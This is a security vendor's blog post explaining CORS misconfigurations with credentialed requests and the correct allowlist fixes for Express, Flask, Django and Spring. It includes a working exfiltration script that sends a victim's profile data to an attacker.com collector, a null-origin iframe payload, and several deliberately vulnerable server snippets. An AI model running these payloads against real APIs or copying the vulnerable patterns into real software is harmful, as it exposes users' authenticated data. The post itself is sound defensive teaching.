Skip to main content

Free 30-min security demo  — We'll scan your real code and show live findings, no commitment Book Now

Offensive360
Vulnerability Research

CORS: Access-Control-Allow-Credentials with Wildcard Origin Explained

Why Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true can't be combined, what breaks, what the real risks are, and the correct CORS fix for credentialed requests.

Offensive360 Security Research Team — min read
CORS Access-Control-Allow-Credentials Access-Control-Allow-Origin wildcard CORS misconfiguration API security CWE-942 web security cross-origin credentialed requests

One of the most searched CORS questions is: “Can you use Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true?” The short answer is no — browsers block this combination. But the longer answer reveals the real security risks hiding underneath it, including patterns that are actually exploitable and often introduced when developers try to “fix” this error without understanding why it exists.

This guide explains what the wildcard + credentials combination does, why browsers block it, what the real exploitable CORS patterns look like, and how to configure CORS correctly for authenticated APIs.


Why You Can’t Combine * with Allow-Credentials: true

The Access-Control-Allow-Origin: * header tells a browser: any website can read responses from this server.

The Access-Control-Allow-Credentials: true header tells a browser: include cookies, HTTP authentication, and TLS client certificates with cross-origin requests, and allow JavaScript to read the credentialed response.

Combining these two headers would mean: any website can make authenticated requests using your session cookies and read the response. This would allow any malicious website to make API calls on behalf of any logged-in user and steal the results — a universal session hijacking primitive.

Because this combination would be catastrophically dangerous, browsers enforce a rule: when Access-Control-Allow-Credentials: true is present, Access-Control-Allow-Origin must be a specific origin — never a wildcard.

If a server responds with both headers, browsers will:

  1. Block the cross-origin read (as if no CORS header was present)
  2. Log a CORS error in the browser console
  3. Cause the JavaScript fetch() or XMLHttpRequest to fail with a network error

The Error Message You’re Seeing

If you’ve landed on this page, you probably saw one of these console errors:

Access to XMLHttpRequest at 'https://api.example.com/data' from origin 
'https://app.example.com' has been blocked by CORS policy: 
The value of the 'Access-Control-Allow-Origin' header in the response must 
not be the wildcard '*' when the request's credentials mode is 'include'.

Or:

Access to fetch at 'https://api.example.com/data' from origin 
'https://app.example.com' has been blocked by CORS policy: 
Response to preflight request doesn't pass access control check: 
The value of the 'Access-Control-Allow-Credentials' header in the response is '' 
which must be 'true' when the request's credentials mode is 'include'.

The first error means your server is returning * but your request includes credentials: 'include'. The second means credentials were expected but not allowed by the server. Both are fixable by configuring an explicit origin allowlist.


The Dangerous Fix: Reflected Origin

When developers hit the wildcard + credentials error, a common “fix” is to make the server dynamically reflect back whatever Origin header the browser sends:

# DANGEROUS — reflects any origin without validation
@app.after_request
def cors_headers(response):
    origin = request.headers.get('Origin')
    if origin:  # If there's an Origin header, just reflect it back
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response
// DANGEROUS — Node.js version of the same mistake
app.use((req, res, next) => {
  const origin = req.headers.origin;
  res.setHeader('Access-Control-Allow-Origin', origin || '*');
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  next();
});

This “fixes” the console error — the browser accepts a specific-looking origin instead of a wildcard. But it is functionally equivalent to Allow-Origin: * combined with Allow-Credentials: true — the exact combination the browser was protecting against. Every origin on the internet now passes, and credentialed responses are readable by any website.

This is an exploitable CORS misconfiguration. Security scanners flag it as a critical finding, OWASP classifies it under A05:2021 (Security Misconfiguration), and it maps to CWE-942.


The Attack: What an Attacker Can Do

If your API has a reflected-origin CORS configuration, here is the attack:

  1. The victim visits https://attacker.com while logged into https://api.yourapp.com

  2. attacker.com runs this JavaScript:

// On attacker.com — steals authenticated user data from api.yourapp.com
fetch('https://api.yourapp.com/user/profile', {
  credentials: 'include',  // Sends the victim's session cookies
  method: 'GET',
})
  .then(response => response.json())
  .then(data => {
    // The reflected CORS allows reading the credentialed response
    // Attacker now has the victim's profile, email, PII, account data
    navigator.sendBeacon(
      'https://attacker.com/collect',
      JSON.stringify(data)
    );
  });
  1. Because the server reflects https://attacker.com as the allowed origin and sets Allow-Credentials: true, the browser allows the JavaScript to read the response.

  2. The attacker receives the victim’s authenticated API response data.

This works on any API with a reflected-origin CORS policy. The victim only needs to visit the attacker’s page while having an active session on your application.


Other CORS Header Misconfigurations

The wildcard-with-credentials error often leads developers to investigate CORS more broadly, revealing other misconfigurations. Here are the most common:

1. Trusting the null Origin

Sandboxed iframes, file:// URLs, and certain redirects send an Origin: null header. Some servers are configured to trust null:

# VULNERABLE — null origin trust
if origin == 'null' or not origin:
    response.headers['Access-Control-Allow-Origin'] = 'null'
    response.headers['Access-Control-Allow-Credentials'] = 'true'

Attackers can create a sandboxed iframe that sends Origin: null:

<!-- On attacker.com — triggers null origin -->
<iframe sandbox="allow-scripts allow-top-navigation" 
        src="data:text/html,<script>fetch('https://api.yourapp.com/data', {credentials:'include'}).then(r=>r.json()).then(d=>top.postMessage(d,'*'))</script>">
</iframe>

Fix: Never trust the null origin for credentialed endpoints.

2. Overly Broad Subdomain Matching

A regex intended to allow all subdomains of yourcompany.com can be written incorrectly:

# VULNERABLE — regex allows "evil.yourcompany.com.attacker.com"
import re
if re.match(r'https?://.*yourcompany\.com', origin):
    allow_this_origin()

An attacker registers evil.yourcompany.com.attacker.com and their origin passes the regex.

Fix: Anchor the regex properly and match the full hostname:

import re
# SECURE — anchored regex matching full domain
if re.match(r'^https://([a-z0-9-]+\.)?yourcompany\.com$', origin):
    allow_this_origin()

3. HTTP Origins Trusted on HTTPS Endpoints

If your API is HTTPS but you allow an HTTP origin:

// VULNERABLE — HTTP origin allowed for HTTPS API
const allowedOrigins = [
  'http://yourcompany.com',  // HTTP
  'https://yourcompany.com', // HTTPS
];

An attacker on the same network as the victim can perform a man-in-the-middle attack on http://yourcompany.com, injecting a script that makes credentialed requests to the HTTPS API with the victim’s cookies.

Fix: Only allow HTTPS origins in production.


The Correct CORS Configuration for Credentialed APIs

For any API endpoint that:

  • Returns user-specific data
  • Requires authentication (cookies, bearer tokens, basic auth)
  • Performs state-changing operations

The correct CORS configuration is an explicit, static allowlist of trusted origins:

Node.js / Express

const allowedOrigins = new Set([
  'https://app.yourcompany.com',
  'https://yourcompany.com',
  'https://admin.yourcompany.com',
  // During development, add conditionally:
  // process.env.NODE_ENV === 'development' && 'http://localhost:3000',
].filter(Boolean));

app.use((req, res, next) => {
  const origin = req.headers.origin;

  if (origin && allowedOrigins.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');  // Required for CDN/proxy correctness
    res.setHeader(
      'Access-Control-Allow-Headers',
      'Content-Type, Authorization, X-API-Key'
    );
    res.setHeader(
      'Access-Control-Allow-Methods',
      'GET, POST, PUT, PATCH, DELETE, OPTIONS'
    );
  }

  // Handle preflight requests
  if (req.method === 'OPTIONS') {
    return res.sendStatus(204);
  }

  next();
});

Python / Flask

from flask import Flask, request, jsonify

app = Flask(__name__)

ALLOWED_ORIGINS = {
    'https://app.yourcompany.com',
    'https://yourcompany.com',
    'https://admin.yourcompany.com',
}

@app.after_request
def cors_headers(response):
    origin = request.headers.get('Origin')

    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
        response.headers['Vary'] = 'Origin'
        response.headers['Access-Control-Allow-Headers'] = (
            'Content-Type, Authorization, X-API-Key'
        )
        response.headers['Access-Control-Allow-Methods'] = (
            'GET, POST, PUT, PATCH, DELETE, OPTIONS'
        )

    return response

@app.route('/api/<path:path>', methods=['OPTIONS'])
def preflight(path):
    return '', 204

Python / Django (with django-cors-headers)

# settings.py
INSTALLED_APPS = [
    ...
    'corsheaders',
]

MIDDLEWARE = [
    'corsheaders.middleware.CorsMiddleware',
    'django.middleware.common.CommonMiddleware',
    ...
]

# SECURE: explicit allowlist
CORS_ALLOWED_ORIGINS = [
    'https://app.yourcompany.com',
    'https://yourcompany.com',
    'https://admin.yourcompany.com',
]

CORS_ALLOW_CREDENTIALS = True

# Do NOT use:
# CORS_ALLOW_ALL_ORIGINS = True  ← This is the wildcard equivalent

Java / Spring Boot

@Configuration
public class CorsConfiguration {

    @Bean
    public WebMvcConfigurer corsConfigurer() {
        return new WebMvcConfigurer() {
            @Override
            public void addCorsMappings(CorsRegistry registry) {
                registry.addMapping("/api/**")
                    .allowedOrigins(
                        "https://app.yourcompany.com",
                        "https://yourcompany.com",
                        "https://admin.yourcompany.com"
                    )
                    .allowedMethods("GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS")
                    .allowedHeaders("Content-Type", "Authorization", "X-API-Key")
                    .allowCredentials(true)
                    .maxAge(3600);  // Cache preflight for 1 hour
            }
        };
    }
}

The Vary: Origin Header — Don’t Forget This

When you reflect a specific origin (even from an allowlist), you must include Vary: Origin in the response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.yourcompany.com
Access-Control-Allow-Credentials: true
Vary: Origin

Why it matters: Without Vary: Origin, a CDN or reverse proxy might cache a response that was sent with Access-Control-Allow-Origin: https://app.yourcompany.com and then serve that cached response to a request from a different origin — either exposing data to the wrong origin, or denying access to a valid origin.

Vary: Origin tells caches: “This response is different for different Origin headers — cache them separately.”


Testing Your CORS Configuration

Use curl to manually test your CORS configuration:

# Test 1: Does the API allow credentialed requests from your app?
curl -s -D - \
  -H "Origin: https://app.yourcompany.com" \
  -H "Access-Control-Request-Method: GET" \
  -H "Access-Control-Request-Headers: Authorization" \
  -X OPTIONS \
  https://api.yourcompany.com/endpoint

# Expected response:
# Access-Control-Allow-Origin: https://app.yourcompany.com
# Access-Control-Allow-Credentials: true

# Test 2: Does the API block requests from an unauthorized origin?
curl -s -D - \
  -H "Origin: https://evil.com" \
  -X OPTIONS \
  https://api.yourcompany.com/endpoint

# Expected: NO Access-Control-Allow-Origin header in response
# (or a 403 response to the preflight)

For systematic testing across all your API endpoints, a DAST scanner like Offensive360 tests CORS policy on every endpoint during a scan — checking for wildcard policies, reflected origins, null origin trust, and subdomain regex flaws.


CORS for Non-Credentialed Public APIs

If your API serves only public, unauthenticated data and you genuinely want any website to be able to fetch it:

Access-Control-Allow-Origin: *
# Do NOT add: Access-Control-Allow-Credentials: true
# Do NOT add: Access-Control-Allow-Headers: Authorization

Without credentials enabled, * is safe for genuinely public endpoints — CDN assets, public data APIs, fonts. The browser will not include cookies or authorization headers with the request, and JavaScript on any origin can read the (unauthenticated) response.


CORS Misconfiguration Detection with SAST

Offensive360 SAST detects the following CORS patterns in source code:

  • Access-Control-Allow-Origin: * on endpoints that process authentication (mixed with session handling or auth middleware)
  • Origin reflection without validation: response.headers['Access-Control-Allow-Origin'] = request.headers['Origin']
  • Trust of null origin with credentials
  • HTTP origins in HTTPS allowlists
  • CORS_ALLOW_ALL_ORIGINS = True in Django settings combined with credential-requiring endpoints

These findings appear as high/critical severity in the SAST report, with a data flow trace showing where the misconfiguration is set and how credentials are handled on the same endpoints.


Summary

ConfigurationCredentialed RequestsSafety
Allow-Origin: * + no credentialsNot possible (browser ignores cookies)✅ Safe for public data
Allow-Origin: * + Allow-Credentials: trueBrowser blocks — returns CORS error🚫 Broken (but safe because blocked)
Reflected origin + Allow-Credentials: trueWorks — all origins allowed❌ Critical vulnerability
Explicit allowlist + Allow-Credentials: trueWorks — only allowlisted origins✅ Correct
No CORS headersBrowser blocks all cross-origin reads✅ Safest default

The Access-Control-Allow-Origin: * + Allow-Credentials: true combination is blocked by browsers — that’s a browser safety feature, not a bug you need to work around. The real danger is the “fix” that developers apply when they see this error: reflecting the origin back without validation. That creates a genuine critical vulnerability.

The correct fix is always an explicit allowlist of trusted origins — never dynamic origin reflection.


Offensive360 DAST automatically tests CORS policy on every endpoint in your web application, including credentialed request scenarios. Scan your API for CORS misconfigurations and the full OWASP Top 10 — results within 48 hours.

Offensive360 Security Research Team

Application Security Research

Find vulnerabilities before attackers do

Run Offensive360 SAST and DAST against your applications and get a full vulnerability report in minutes.